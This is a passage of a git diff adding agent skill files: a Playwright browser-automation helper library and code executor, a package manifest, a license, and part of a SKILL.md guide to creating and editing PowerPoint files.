parseInt(process.env.SLOW_MO) : 0, + args: ['--no-sandbox', '--disable-setuid-sandbox'] + }; + + const browsers = { chromium, firefox, webkit }; + const browser = browsers[browserType]; + + if (!browser) { + throw new Error(`Invalid browser type: ${browserType}`); + } + + return await browser.launch({ ...defaultOptions, ...options }); +} + +/** + * Create a new page with viewport and user agent + * @param {Object} context - Browser context + * @param {Object} options - Page options + */ +async function createPage(context, options = {}) { + const page = await context.newPage(); + + if (options.viewport) { + await page.setViewportSize(options.viewport); + } + + if (options.userAgent) { + await page.setExtraHTTPHeaders({ + 'User-Agent': options.userAgent + }); + } + + // Set default timeout + page.setDefaultTimeout(options.timeout || 30000); + + return page; +} + +/** + * Smart wait for page to be ready + * @param {Object} page - Playwright page + * @param {Object} options - Wait options + */ +async function waitForPageReady(page, options = {}) { + const waitOptions = { + waitUntil: options.waitUntil || 'networkidle', + timeout: options.timeout || 30000 + }; + + try { + await page.waitForLoadState(waitOptions.waitUntil, { + timeout: waitOptions.timeout + }); + } catch (e) { + console.warn('Page load timeout, continuing...'); + } + + // Additional wait for dynamic content if selector provided + if (options.waitForSelector) { + await page.waitForSelector(options.waitForSelector, { + timeout: options.timeout + }); + } +} + +/** + * Safe click with retry logic + * @param {Object} page - Playwright page + * @param {string} selector - Element selector + * @param {Object} options - Click options + */ +async function safeClick(page, selector, options = {}) { + const maxRetries = options.retries || 3; + const retryDelay = options.retryDelay || 1000; + + for (let i = 0; i < maxRetries; i++) { + try { + await page.waitForSelector(selector, { + state: 'visible', + timeout: options.timeout || 5000 + }); + await page.click(selector, { + force: options.force || false, + timeout: options.timeout || 5000 + }); + return true; + } catch (e) { + if (i === maxRetries - 1) { + console.error(`Failed to click ${selector} after ${maxRetries} attempts`); + throw e; + } + console.log(`Retry ${i + 1}/${maxRetries} for clicking ${selector}`); + await page.waitForTimeout(retryDelay); + } + } +} + +/** + * Safe text input with clear before type + * @param {Object} page - Playwright page + * @param {string} selector - Input selector + * @param {string} text - Text to type + * @param {Object} options - Type options + */ +async function safeType(page, selector, text, options = {}) { + await page.waitForSelector(selector, { + state: 'visible', + timeout: options.timeout || 10000 + }); + + if (options.clear !== false) { + await page.fill(selector, ''); + } + + if (options.slow) { + await page.type(selector, text, { delay: options.delay || 100 }); + } else { + await page.fill(selector, text); + } +} + +/** + * Extract text from multiple elements + * @param {Object} page - Playwright page + * @param {string} selector - Elements selector + */ +async function extractTexts(page, selector) { + await page.waitForSelector(selector, { timeout: 10000 }); + return await page.$$eval(selector, elements => + elements.map(el => el.textContent?.trim()).filter(Boolean) + ); +} + +/** + * Take screenshot with timestamp + * @param {Object} page - Playwright page + * @param {string} name - Screenshot name + * @param {Object} options - Screenshot options + */ +async function takeScreenshot(page, name, options = {}) { + const timestamp = new Date().toISOString().replace(/[:.]/g, '-'); + const filename = `${name}-${timestamp}.png`; + + await page.screenshot({ + path: filename, + fullPage: options.fullPage !== false, + ...options + }); + + console.log(`Screenshot saved: ${filename}`); + return filename; +} + +/** + * Handle authentication + * @param {Object} page - Playwright page + * @param {Object} credentials - Username and password + * @param {Object} selectors - Login form selectors + */ +async function authenticate(page, credentials, selectors = {}) { + const defaultSelectors = { + username: 'input[name="username"], input[name="email"], #username, #email', + password: 'input[name="password"], #password', + submit: 'button[type="submit"], input[type="submit"], button:has-text("Login"), button:has-text("Sign in")' + }; + + const finalSelectors = { ...defaultSelectors, ...selectors }; + + await safeType(page, finalSelectors.username, credentials.username); + await safeType(page, finalSelectors.password, credentials.password); + await safeClick(page, finalSelectors.submit); + + // Wait for navigation or success indicator + await Promise.race([ + page.waitForNavigation({ waitUntil: 'networkidle' }), + page.waitForSelector(selectors.successIndicator || '.dashboard, .user-menu, .logout', { timeout: 10000 }) + ]).catch(() => { + console.log('Login might have completed without navigation'); + }); +} + +/** + * Scroll page + * @param {Object} page - Playwright page + * @param {string} direction - 'down', 'up', 'top', 'bottom' + * @param {number} distance - Pixels to scroll (for up/down) + */ +async function scrollPage(page, direction = 'down', distance = 500) { + switch (direction) { + case 'down': + await page.evaluate(d => window.scrollBy(0, d), distance); + break; + case 'up': + await page.evaluate(d => window.scrollBy(0, -d), distance); + break; + case 'top': + await page.evaluate(() => window.scrollTo(0, 0)); + break; + case 'bottom': + await page.evaluate(() => window.scrollTo(0, document.body.scrollHeight)); + break; + } + await page.waitForTimeout(500); // Wait for scroll animation +} + +/** + * Extract table data + * @param {Object} page - Playwright page + * @param {string} tableSelector - Table selector + */ +async function extractTableData(page, tableSelector) { + await page.waitForSelector(tableSelector); + + return await page.evaluate((selector) => { + const table = document.querySelector(selector); + if (!table) return null; + + const headers = Array.from(table.querySelectorAll('thead th')).map(th => + th.textContent?.trim() + ); + + const rows = Array.from(table.querySelectorAll('tbody tr')).map(tr => { + const cells = Array.from(tr.querySelectorAll('td')); + if (headers.length > 0) { + return cells.reduce((obj, cell, index) => { + obj[headers[index] || `column_${index}`] = cell.textContent?.trim(); + return obj; + }, {}); + } else { + return cells.map(cell => cell.textContent?.trim()); + } + }); + + return { headers, rows }; + }, tableSelector); +} + +/** + * Wait for and dismiss cookie banners + * @param {Object} page - Playwright page + * @param {number} timeout - Max time to wait + */ +async function handleCookieBanner(page, timeout = 3000) { + const commonSelectors = [ + 'button:has-text("Accept")', + 'button:has-text("Accept all")', + 'button:has-text("OK")', + 'button:has-text("Got it")', + 'button:has-text("I agree")', + '.cookie-accept', + '#cookie-accept', + '[data-testid="cookie-accept"]' + ]; + + for (const selector of commonSelectors) { + try { + const element = await page.waitForSelector(selector, { + timeout: timeout / commonSelectors.length, + state: 'visible' + }); + if (element) { + await element.click(); + console.log('Cookie banner dismissed'); + return true; + } + } catch (e) { + // Continue to next selector + } + } + + return false; +} + +/** + * Retry a function with exponential backoff + * @param {Function} fn - Function to retry + * @param {number} maxRetries - Maximum retry attempts + * @param {number} initialDelay - Initial delay in ms + */ +async function retryWithBackoff(fn, maxRetries = 3, initialDelay = 1000) { + let lastError; + + for (let i = 0; i < maxRetries; i++) { + try { + return await fn(); + } catch (error) { + lastError = error; + const delay = initialDelay * Math.pow(2, i); + console.log(`Attempt ${i + 1} failed, retrying in ${delay}ms...`); + await new Promise(resolve => setTimeout(resolve, delay)); + } + } + + throw lastError; +} + +/** + * Create browser context with common settings + * @param {Object} browser - Browser instance + * @param {Object} options - Context options + */ +async function createContext(browser, options = {}) { + const envHeaders = getExtraHeadersFromEnv(); + + // Merge environment headers with any passed in options + const mergedHeaders = { + ...envHeaders, + ...options.extraHTTPHeaders + }; + + const defaultOptions = { + viewport: { width: 1280, height: 720 }, + userAgent: options.mobile + ? 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1' + : undefined, + permissions: options.permissions || [], + geolocation: options.geolocation, + locale: options.locale || 'en-US', + timezoneId: options.timezoneId || 'America/New_York', + // Only include extraHTTPHeaders if we have any + ...(Object.keys(mergedHeaders).length > 0 && { extraHTTPHeaders: mergedHeaders }) + }; + + return await browser.newContext({ ...defaultOptions, ...options }); +} + +/** + * Detect running dev servers on common ports + * @param {Array<number>} customPorts - Additional ports to check + * @returns {Promise<Array>} Array of detected server URLs + */ +async function detectDevServers(customPorts = []) { + const http = require('http'); + + // Common dev server ports + const commonPorts = [3000, 3001, 3002, 5173, 8080, 8000, 4200, 5000, 9000, 1234]; + const allPorts = [...new Set([...commonPorts, ...customPorts])]; + + const detectedServers = []; + + console.log('🔍 Checking for running dev servers...'); + + for (const port of allPorts) { + try { + await new Promise((resolve, reject) => { + const req = http.request({ + hostname: 'localhost', + port: port, + path: '/', + method: 'HEAD', + timeout: 500 + }, (res) => { + if (res.statusCode < 500) { + detectedServers.push(`http://localhost:${port}`); + console.log(` ✅ Found server on port ${port}`); + } + resolve(); + }); + + req.on('error', () => resolve()); + req.on('timeout', () => { + req.destroy(); + resolve(); + }); + + req.end(); + }); + } catch (e) { + // Port not available, continue + } + } + + if (detectedServers.length === 0) { + console.log(' ❌ No dev servers detected'); + } + + return detectedServers; +} + +module.exports = { + launchBrowser, + createPage, + waitForPageReady, + safeClick, + safeType, + extractTexts, + takeScreenshot, + authenticate, + scrollPage, + extractTableData, + handleCookieBanner, + retryWithBackoff, + createContext, + detectDevServers, + getExtraHeadersFromEnv +}; diff --git a/skills/playwright-skill/package.json b/skills/playwright-skill/package.json new file mode 100644 index 00000000..ada6c8b6 --- /dev/null +++ b/skills/playwright-skill/package.json @@ -0,0 +1,26 @@ +{ + "name": "playwright-skill", + "version": "4.1.0", + "description": "General-purpose browser automation with Playwright for Claude Code with auto-detection and smart test management", + "author": "lackeyjb", + "main": "run.js", + "scripts": { + "setup": "npm install && npx playwright install chromium", + "install-all-browsers": "npx playwright install chromium firefox webkit" + }, + "keywords": [ + "playwright", + "automation", + "browser-testing", + "web-automation", + "claude-skill", + "general-purpose" + ], + "dependencies": { + "playwright": "^1.57.0" + }, + "engines": { + "node": ">=14.0.0" + }, + "license": "MIT" +} diff --git a/skills/playwright-skill/run.js b/skills/playwright-skill/run.js new file mode 100755 index 00000000..10f26168 --- /dev/null +++ b/skills/playwright-skill/run.js @@ -0,0 +1,228 @@ +#!/usr/bin/env node +/** + * Universal Playwright Executor for Claude Code + * + * Executes Playwright automation code from: + * - File path: node run.js script.js + * - Inline code: node run.js 'await page.goto("...")' + * - Stdin: cat script.js | node run.js + * + * Ensures proper module resolution by running from skill directory. + */ + +const fs = require('fs'); +const path = require('path'); +const { execSync } = require('child_process'); + +// Change to skill directory for proper module resolution +process.chdir(__dirname); + +/** + * Check if Playwright is installed + */ +function checkPlaywrightInstalled() { + try { + require.resolve('playwright'); + return true; + } catch (e) { + return false; + } +} + +/** + * Install Playwright if missing + */ +function installPlaywright() { + console.log('📦 Playwright not found. Installing...'); + try { + execSync('npm install', { stdio: 'inherit', cwd: __dirname }); + execSync('npx playwright install chromium', { stdio: 'inherit', cwd: __dirname }); + console.log('✅ Playwright installed successfully'); + return true; + } catch (e) { + console.error('❌ Failed to install Playwright:', e.message); + console.error('Please run manually: cd', __dirname, '&& npm run setup'); + return false; + } +} + +/** + * Get code to execute from various sources + */ +function getCodeToExecute() { + const args = process.argv.slice(2); + + // Case 1: File path provided + if (args.length > 0 && fs.existsSync(args[0])) { + const filePath = path.resolve(args[0]); + console.log(`📄 Executing file: ${filePath}`); + return fs.readFileSync(filePath, 'utf8'); + } + + // Case 2: Inline code provided as argument + if (args.length > 0) { + console.log('⚡ Executing inline code'); + return args.join(' '); + } + + // Case 3: Code from stdin + if (!process.stdin.isTTY) { + console.log('📥 Reading from stdin'); + return fs.readFileSync(0, 'utf8'); + } + + // No input + console.error('❌ No code to execute'); + console.error('Usage:'); + console.error(' node run.js script.js # Execute file'); + console.error(' node run.js "code here" # Execute inline'); + console.error(' cat script.js | node run.js # Execute from stdin'); + process.exit(1); +} + +/** + * Clean up old temporary execution files from previous runs + */ +function cleanupOldTempFiles() { + try { + const files = fs.readdirSync(__dirname); + const tempFiles = files.filter(f => f.startsWith('.temp-execution-') && f.endsWith('.js')); + + if (tempFiles.length > 0) { + tempFiles.forEach(file => { + const filePath = path.join(__dirname, file); + try { + fs.unlinkSync(filePath); + } catch (e) { + // Ignore errors - file might be in use or already deleted + } + }); + } + } catch (e) { + // Ignore directory read errors + } +} + +/** + * Wrap code in async IIFE if not already wrapped + */ +function wrapCodeIfNeeded(code) { + // Check if code already has require() and async structure + const hasRequire = code.includes('require('); + const hasAsyncIIFE = code.includes('(async () => {') || code.includes('(async()=>{'); + + // If it's already a complete script, return as-is + if (hasRequire && hasAsyncIIFE) { + return code; + } + + // If it's just Playwright commands, wrap in full template + if (!hasRequire) { + return ` +const { chromium, firefox, webkit, devices } = require('playwright'); +const helpers = require('./lib/helpers'); + +// Extra headers from environment variables (if configured) +const __extraHeaders = helpers.getExtraHeadersFromEnv(); + +/** + * Utility to merge environment headers into context options. + * Use when creating contexts with raw Playwright API instead of helpers.createContext(). + * @param {Object} options - Context options + * @returns {Object} Options with extraHTTPHeaders merged in + */ +function getContextOptionsWithHeaders(options = {}) { + if (!__extraHeaders) return options; + return { + ...options, + extraHTTPHeaders: { + ...__extraHeaders, + ...(options.extraHTTPHeaders || {}) + } + }; +} + +(async () => { + try { + ${code} + } catch (error) { + console.error('❌ Automation error:', error.message); + if (error.stack) { + console.error(error.stack); + } + process.exit(1); + } +})(); +`; + } + + // If has require but no async wrapper + if (!hasAsyncIIFE) { + return ` +(async () => { + try { + ${code} + } catch (error) { + console.error('❌ Automation error:', error.message); + if (error.stack) { + console.error(error.stack); + } + process.exit(1); + } +})(); +`; + } + + return code; +} + +/** + * Main execution + */ +async function main() { + console.log('🎭 Playwright Skill - Universal Executor\n'); + + // Clean up old temp files from previous runs + cleanupOldTempFiles(); + + // Check Playwright installation + if (!checkPlaywrightInstalled()) { + const installed = installPlaywright(); + if (!installed) { + process.exit(1); + } + } + + // Get code to execute + const rawCode = getCodeToExecute(); + const code = wrapCodeIfNeeded(rawCode); + + // Create temporary file for execution + const tempFile = path.join(__dirname, `.temp-execution-${Date.now()}.js`); + + try { + // Write code to temp file + fs.writeFileSync(tempFile, code, 'utf8'); + + // Execute the code + console.log('🚀 Starting automation...\n'); + require(tempFile); + + // Note: Temp file will be cleaned up on next run + // This allows long-running async operations to complete safely + + } catch (error) { + console.error('❌ Execution failed:', error.message); + if (error.stack) { + console.error('\n📋 Stack trace:'); + console.error(error.stack); + } + process.exit(1); + } +} + +// Run main function +main().catch(error => { + console.error('❌ Fatal error:', error.message); + process.exit(1); +}); diff --git a/skills/pptx/LICENSE.txt b/skills/pptx/LICENSE.txt new file mode 100644 index 00000000..c55ab422 --- /dev/null +++ b/skills/pptx/LICENSE.txt @@ -0,0 +1,30 @@ +© 2025 Anthropic, PBC. All rights reserved. + +LICENSE: Use of these materials (including all code, prompts, assets, files, +and other components of this Skill) is governed by your agreement with +Anthropic regarding use of Anthropic's services. If no separate agreement +exists, use is governed by Anthropic's Consumer Terms of Service or +Commercial Terms of Service, as applicable: +https://www.anthropic.com/legal/consumer-terms +https://www.anthropic.com/legal/commercial-terms +Your applicable agreement is referred to as the "Agreement." "Services" are +as defined in the Agreement. + +ADDITIONAL RESTRICTIONS: Notwithstanding anything in the Agreement to the +contrary, users may not: + +- Extract these materials from the Services or retain copies of these + materials outside the Services +- Reproduce or copy these materials, except for temporary copies created + automatically during authorized use of the Services +- Create derivative works based on these materials +- Distribute, sublicense, or transfer these materials to any third party +- Make, offer to sell, sell, or import any inventions embodied in these + materials +- Reverse engineer, decompile, or disassemble these materials + +The receipt, viewing, or possession of these materials does not convey or +imply any license or right beyond those expressly granted above. + +Anthropic retains all right, title, and interest in these materials, +including all copyrights, patents, and other intellectual property rights. diff --git a/skills/pptx/SKILL.md b/skills/pptx/SKILL.md new file mode 100644 index 00000000..b93b875f --- /dev/null +++ b/skills/pptx/SKILL.md @@ -0,0 +1,484 @@ +--- +name: pptx +description: "Presentation creation, editing, and analysis. When Claude needs to work with presentations (.pptx files) for: (1) Creating new presentations, (2) Modifying or editing content, (3) Working with layouts, (4) Adding comments or speaker notes, or any other presentation tasks" +license: Proprietary. LICENSE.txt has complete terms +--- + +# PPTX creation, editing, and analysis + +## Overview + +A user may ask you to create, edit, or analyze the contents of a .pptx file. A .pptx file is essentially a ZIP archive containing XML files and other resources that you can read or edit. You have different tools and workflows available for different tasks. + +## Reading and analyzing content + +### Text extraction +If you just need to read the text contents of a presentation, you should convert the document to markdown: + +```bash +# Convert document to markdown +python -m markitdown path-to-file.pptx +``` + +### Raw XML access +You need raw XML access for: comments, speaker notes, slide layouts, animations, design elements, and complex formatting. For any of these features, you'll need to unpack a presentation and read its raw XML contents. + +#### Unpacking a file +`python ooxml/scripts/unpack.py <office_file> <output_dir>` + +**Note**: The unpack.py script is located at `skills/pptx/ooxml/scripts/unpack.py` relative to the project root. If the script doesn't exist at this path, use `find . -name "unpack.py"` to locate it. + +#### Key file structures +* `ppt/presentation.xml` - Main presentation metadata and slide references +* `ppt/slides/slide{N}.xml` - Individual slide contents (slide1.xml, slide2.xml, etc.) +* `ppt/notesSlides/notesSlide{N}.xml` - Speaker notes for each slide +* `ppt/comments/modernComment_*.xml` - Comments for specific slides +* `ppt/slideLayouts/` - Layout templates for slides +* `ppt/slideMasters/` - Master slide templates +* `ppt/theme/` - Theme and styling information +* `ppt/media/` - Images and other media files + +#### Typography and color extraction +**When given an example design to emulate**: Always analyze the presentation's typography and colors first using the methods below: +1. **Read theme file**: Check `ppt/theme/theme1.xml` for colors (`<a:clrScheme>`) and fonts (`<a:fontScheme>`) +2. **Sample slide content**: Examine `ppt/slides/slide1.xml` for actual font usage (`<a:rPr>`) and colors +3. **Search for patterns**: Use grep to find color (`<a:solidFill>`, `<a:srgbClr>`) and font references across all XML files + +## Creating a new PowerPoint presentation **without a template** + +When creating a new PowerPoint presentation from scratch, use the **html2pptx** workflow to convert HTML slides to PowerPoint with accurate positioning. + +### Design Principles + +**CRITICAL**: Before creating any presentation, analyze the content and choose appropriate design elements: +1. **Consider the subject matter**: What is this presentation about? What tone, industry, or mood does it suggest? +2. **Check for branding**: If the user mentions a company/organization, consider their brand colors and identity +3. **Match palette to content**: Select colors that reflect the subject +4. **State your approach**: Explain your design choices before writing code + +**Requirements**: +- ✅ State your content-informed design approach BEFORE writing code +- ✅ Use web-safe fonts only: Arial, Helvetica, Times New Roman, Georgia, Courier New, Verdana, Tahoma, Trebuchet MS, Impact +- ✅ Create clear visual hierarchy through size, weight, and color +- ✅ Ensure readability: strong contrast, appropriately sized text, clean alignment +- ✅ Be consistent: repeat patterns, spacing, and visual language across slides + +#### Color Palette Selection + +**Choosing colors creatively**: +- **Think beyond defaults**: What colors genuinely match this specific topic? Avoid autopilot choices. +- **Consider multiple angles**: Topic, industry, mood, energy level, target audience, brand identity (if mentioned) +- **Be adventurous**: Try unexpected combinations - a healthcare presentation doesn't have to be green, finance doesn't have to be navy +- **Build your palette**: Pick 3-5 colors that work together (dominant colors + supporting tones + accent) +- **Ensure contrast**: Text must be clearly readable on backgrounds + +**Example color palettes** (use these to spark creativity - choose one, adapt it, or create your own): + +1. **Classic Blue**: Deep navy (#1C2833), slate gray (#2E4053), silver (#AAB7B8), off-white (#F4F6F6) +2. **Teal & Coral**: Teal (#5EA8A7), deep teal (#277884), coral (#FE4447), white (#FFFFFF) +3. **Bold Red**: Red (#C0392B), bright red (#E74C3C), orange (#F39C12), yellow (#F1C40F), green (#2ECC71) +4. **Warm Blush**: Mauve (#A49393), blush (#EED6D3), rose (#E8B4B8), cream (#FAF7F2) +5. **Burgundy Luxury**: Burgundy (#5D1D2E), crimson (#951233), rust (#C15937), gold (#997929) +6. **Deep Purple & Emerald**: Purple (#B165FB), dark blue (#181B24), emerald (#40695B), white (#FFFFFF) +7. **Cream & Forest Green**: Cream (#FFE1C7), forest green (#40695B), white (#FCFCFC) +8. **Pink & Purple**: Pink (#F8275B), coral (#FF574A), rose (#FF737D), purple (#3D2F68) +9. **Lime & Plum**: Lime (#C5DE82), plum (#7C3A5F), coral (#FD8C6E), blue-gray (#98ACB5) +10. **Black & Gold**: Gold (#BF9A4A), black (#000000), cream (#F4F6F6) +11. **Sage & Terracotta**: Sage (#87A96B), terracotta (#E07A5F), cream (#F4F1DE), charcoal (#2C2C2C) +12. **Charcoal & Red**: Charcoal (#292929), red (#E33737), light gray (#CCCBCB) +13. **Vibrant Orange**: Orange (#F96D00), light gray (#F2F2F2), charcoal (#222831) +14. **Forest Green**: Black (#191A19), green (#4E9F3D), dark green (#1E5128), white (#FFFFFF) +15. **Retro Rainbow**: Purple (#722880), pink (#D72D51), orange (#EB5C18), amber (#F08800), gold (#DEB600) +16. **Vintage Earthy**: Mustard (#E3B448), sage (#CBD18F), forest green (#3A6B35), cream (#F4F1DE) +17. **Coastal Rose**: Old rose (#AD7670), beaver (#B49886), eggshell (#F3ECDC), ash gray (#BFD5BE) +18. **Orange & Turquoise**: Light orange (#FC993E), grayish turquoise (#667C6F), white (#FCFCFC) + +#### Visual Details Options + +**Geometric Patterns**: +- Diagonal section dividers instead of horizontal +- Asymmetric column widths (30/70, 40/60, 25/75) +- Rotated text headers at 90° or 270° +- Circular/hexagonal frames for images +- Triangular accent shapes in corners +- Overlapping shapes for depth + +**Border & Frame Treatments**: +- Thick single-color borders (10-20pt) on one side only +- Double-line borders with contrasting colors +- Corner brackets instead of full frames +- L-shaped borders (top+left or bottom+right) +- Underline accents beneath headers (3-5pt thick) + +**Typography Treatments**: +- Extreme size contrast (72pt headlines vs 11pt body) +- All-caps headers with wide letter spacing +- Numbered sections in oversized display type +- Monospace (Courier New) for data/stats/technical content +- Condensed fonts (Arial Narrow) for dense information +- Outlined text for emphasis + +**Chart & Data Styling**: +- Monochrome charts with single accent color for key data +- Horizontal bar charts instead of vertical +- Dot plots instead of bar charts +- Minimal gridlines or none at all +- Data labels directly on elements (no legends) +- Oversized numbers for key metrics + +**Layout Innovations**: +- Full-bleed images with text overlays +- Sidebar column (20-30% width) for navigation/context +- Modular grid systems (3×3, 4×4 blocks) +- Z-pattern or F-pattern content flow +- Floating text boxes over colored shapes +- Magazine-style multi-column layouts + +**Background Treatments**: +- Solid color blocks occupying 40-60% of slide +- Gradient fills (vertical or diagonal only) +- Split backgrounds (two colors, diagonal or vertical) +- Edge-to-edge color bands +- Negative space as a design element + +### Layout Tips +**When creating slides with charts or tables:** +- **Two-column layout (PREFERRED)**: Use a header spanning the full width, then two columns below - text/bullets in one column and the featured content in the other. This provides better balance and makes charts/tables more readable. Use flexbox with unequal column widths (e.g., 40%/60% split) to optimize space for each content type. +- **Full-slide layout**: Let the featured content (chart/table) take up the entire slide for maximum impact and readability +- **NEVER vertically stack**: Do not place charts/tables below text in a single column - this causes poor readability and layout issues + +### Workflow +1. **MANDATORY - READ ENTIRE FILE**: Read [`html2pptx.md`](html2pptx.md) completely from start to finish. **NEVER set any range limits when reading this file.** Read the full file content for detailed syntax, critical formatting rules, and best practices before proceeding with presentation creation. +2. Create an HTML file for each slide with proper dimensions (e.g., 720pt × 405pt for 16:9) + - Use `<p>`, `<h1>`-`<h6>`, `<ul>`, `<ol>` for all text content + - Use `class="placeholder"` for areas where charts/tables will be added (render with gray background for visibility) + - **CRITICAL**: Rasterize gradients and icons as PNG images FIRST using Sharp, then reference in HTML + - **LAYOUT**: For slides with charts/tables/images, use either full-slide layout or two-column layout for better readability +3. Create and run a JavaScript file using the [`html2pptx.js`](scripts/html2pptx.js) library to convert HTML slides to PowerPoint and save the presentation + - Use the `html2pptx()` function to process each HTML file + - Add charts and tables to placeholder areas using PptxGenJS API + - Save the presentation using `pptx.writeFile()` +4. **Visual validation**: Generate thumbnails and inspect for layout issues + - Create thumbnail grid: `python scripts/thumbnail.py output.pptx workspace/thumbnails --cols 4` + - Read and carefully examine the thumbnail image for: + - **Text cutoff**: Text being cut off by header bars, shapes, or slide edges + - **Text overlap**: Text overlapping with other text or shapes + - **Positioning issues**: Content too close to slide boundaries or other elements + - **Contrast issues**: Insufficient contrast between text and backgrounds + - If issues found, adjust HTML margins/spacing/colors and regenerate the presentation + - Repeat until all slides are visually correct + +## Editing an existing PowerPoint presentation + +When edit slides in an existing PowerPoint presentation, you need to work with the raw Office Open XML (OOXML) format. This involves unpacking the .pptx file, editing the XML content, and repacking it. + +### Workflow +1. **MANDATORY - READ ENTIRE FILE**: Read [`ooxml.md`](ooxml.md) (~500 lines) completely from start to finish. **NEVER set any range limits when reading this file.** Read the full file content for detailed guidance on OOXML structure and editing workflows before any presentation editing. +2. Unpack the presentation: `python ooxml/scripts/unpack.py <office_file> <output_dir>` +3. Edit the XML files (primarily `ppt/slides/slide{N}.xml` and related files) +4. **CRITICAL**: Validate immediately after each edit and fix any validation errors before proceeding: `python ooxml/scripts/validate.py <dir> --original <file>` +5. Pack the final presentation: `python ooxml/scripts/pack.py <input_directory> <office_file>` + +## Creating a new PowerPoint presentation **using a template** + +When you need to create a presentation that follows an existing template's design, you'll need to duplicate and re-arrange template slides before then replacing placeholder context. + +### Workflow +1. **Extract template text AND create visual thumbnail grid**: + * Extract text: `python -m markitdown template.pptx > template-content.md` + * Read `template-content.md`: Read the entire file to understand the contents of the template presentation. **NEVER set any range limits when reading this file.** + * Create thumbnail grids: `python scripts/thumbnail.py template.pptx` + * See [Creating Thumbnail Grids](#creating-thumbnail-grids) section for more details + +2. **Analyze template and save inventory to a file**: + * **Visual Analysis**: Review thumbnail grid(s) to understand slide layouts, design patterns, and visual structure + * Create and save a template inventory file at `template-inventory.md` containing: + ```markdown + # Template Inventory Analysis + **Total Slides: [count]** + **IMPORTANT: Slides are 0-indexed (first slide = 0, last slide = count-1)** + + ## [Category Name] + - Slide 0: [Layout code if available] - Description/purpose + - Slide 1: [Layout code] - Description/purpose + - Slide 2: [Layout code] - Description/purpose + [... EVERY slide must be listed individually with its index ...] + ``` + * **Using the thumbnail grid**: Reference the visual thumbnails to identify: + - Layout patterns (title slides, content layouts, section dividers) + - Image placeholder locations and counts + - Design consistency across slide groups + - Visual hierarchy and structure + * This inventory file is REQUIRED for selecting appropriate templates in the next step + +3. **Create presentation outline based on template inventory**: + * Review available templates from step 2. + * Choose an intro or title template for the first slide. This should be one of the first templates. + * Choose safe, text-based layouts for the other slides. + * **CRITICAL: Match layout structure to actual content**: + - Single-column layouts: Use for unified narrative or single topic + - Two-column layouts: Use ONLY when you have exactly 2 distinct items/concepts + - Three-column layouts: Use ONLY when you have exactly 3 distinct items/concepts + - Image + text layouts: Use ONLY when you have actual images to insert + - Quote layouts: Use ONLY for actual quotes from people (with attribution), never for emphasis + - Never use layouts with more placeholders than you have content + - If you have 2 items, don't force them into a 3-column layout + - If you have 4+ items, consider breaking into multiple slides or using a list format + * Count your actual content pieces BEFORE selecting the layout + * Verify each placeholder in the chosen layout will be filled with meaningful content + * Select one option representing the **best** layout for each content section. + * Save `outline.md` with content AND template mapping that leverages available designs + * Example template mapping: + ``` + # Template slides to use (0-based indexing) + # WARNING: Verify indices are within range! Template with 73 slides has indices 0-72 + # Mapping: slide numbers from outline -> template slide indices + template_mapping = [ + 0, # Use slide 0 (Title/Cover) + 34, # Use slide 34 (B1: Title and body) + 34, # Use slide 34 again (duplicate for second B1) + 50, # Use slide 50 (E1: Quote) + 54, # Use slide 54 (F2: Closing + Text) + ] + ``` + +4. **Duplicate, reorder, and delete slides using `rearrange.py`**: + * Use the `scripts/rearrange.py` script to create a new presentation with slides in the desired order: + ```bash + python scripts/rearrange.py template.pptx working.pptx 0,34,34,50,52 + ``` + * The script handles duplicating repeated slides, deleting unused slides, and reordering automatically + * Slide indices are 0-based (first slide is 0, second is 1, etc.) + * The same slide index can appear multiple times to duplicate that slide + +5. **Extract ALL text using the `inventory.py` script**: + * **Run inventory extraction**: + ```bash + python scripts/inventory.py working.pptx text-inventory.json + ``` + * **Read text-inventory.json**: Read the entire text-inventory.json file to understand all shapes and their properties. **NEVER set any range limits when reading this file.** + + * The inventory JSON structure: + ```json + { + "slide-0": { + "shape-0": { + "placeholder_type": "TITLE", // or null for non-placeholders + "left": 1.5, // position in inches + "top": 2.0, + "width": 7.5, + "height": 1.2, + "paragraphs": [ + { + "text": "Paragraph text", + // Optional properties (only included when non-default): + "bullet": true, // explicit bullet detected + "level": 0, // only included when bullet is true + "alignment": "CENTER", // CENTER, RIGHT (not LEFT) + "space_before": 10.0, // space before paragraph in points + "space_after": 6.0, // space after paragraph in points + "line_spacing": 22.4, // line spacing in points + "font_name": "Arial", // from first run + "font_size": 14.0, // in points + "bold": true, + "italic": false, + "underline": false, + "color": "FF0000" // RGB color + } + ] + } + } + } + ``` + + * Key features: + - **Slides**: Named as "slide-0", "slide-1", etc. + - **Shapes**: Ordered by visual position (top-to-bottom, left-to-right) as "shape-0", "shape-1", etc. + - **Placeholder types**: TITLE, CENTER_TITLE, SUBTITLE, BODY, OBJECT, or null + - **Default font size**: `default_font_size` in points extracted from layout placeholders (when available) + - **Slide numbers are filtered**: Shapes with SLIDE_NUMBER placeholder type are automatically excluded from inventory + - **Bullets**: When `bullet: true`, `level` is always included (even if 0) + - **Spacing**: `space_before`, `space_after`, and `line_spacing` in points (only included when set) + - **Colors**: `color` for RGB (e.g., "FF0000"), `theme_color` for theme colors (e.g., "DARK_1") + - **Properties**: Only non-default values are included in the output + +6. **Generate replacement text and save the data to a JSON file** + Based on the text inventory from the previous step: + - **CRITICAL**: First verify which shapes exist in the inventory - only reference shapes that are actually present + - **VALIDATION**: The replace.py script will validate that all shapes in your replacement JSON exist in the inventory + - If you reference a non-existent shape, you'll get an error showing available shapes + - If you reference a non-existent slide, you'll get an error indicating the slide doesn't exist + - All validation errors are shown at once before the script exits + - **IMPORTANT**: The replace.py script uses inventory.py internally to identify ALL text shapes + - **AUTOMATIC CLEARING**: ALL text shapes from the inventory will be cleared unless you provide "paragraphs" for them + - Add a "paragraphs" field to shapes that need content (not "replacement_paragraphs") + - Shapes without "paragraphs" in the replacement JSON will have their text cleared automatically + - Paragraphs with bullets will be automatically left aligned. Don't set the `alignment` property on when `"bullet": true` + - Generate appropriate replacement content for placeholder text + - Use shape size to determine appropriate content length + - **CRITICAL**: Include paragraph properties from the original inventory - don't just provide text + - **IMPORTANT**: When bullet: true, do NOT include bullet symbols (•, -, *) in text - they're added automatically + - **ESSENTIAL FORMATTING RULES**: + - Headers/titles should typically have `"bold": true` + - List items should have `"bullet": true, "level": 0` (level is required when bullet is true) + - Preserve any alignment properties (e.g., `"alignment": "CENTER"` for centered text) + - Include font properties when different from default (e.g., `"font_size": 14.0`, `"font_name": "Lora"`) + - Colors: Use `"color": "FF0000"` for RGB or 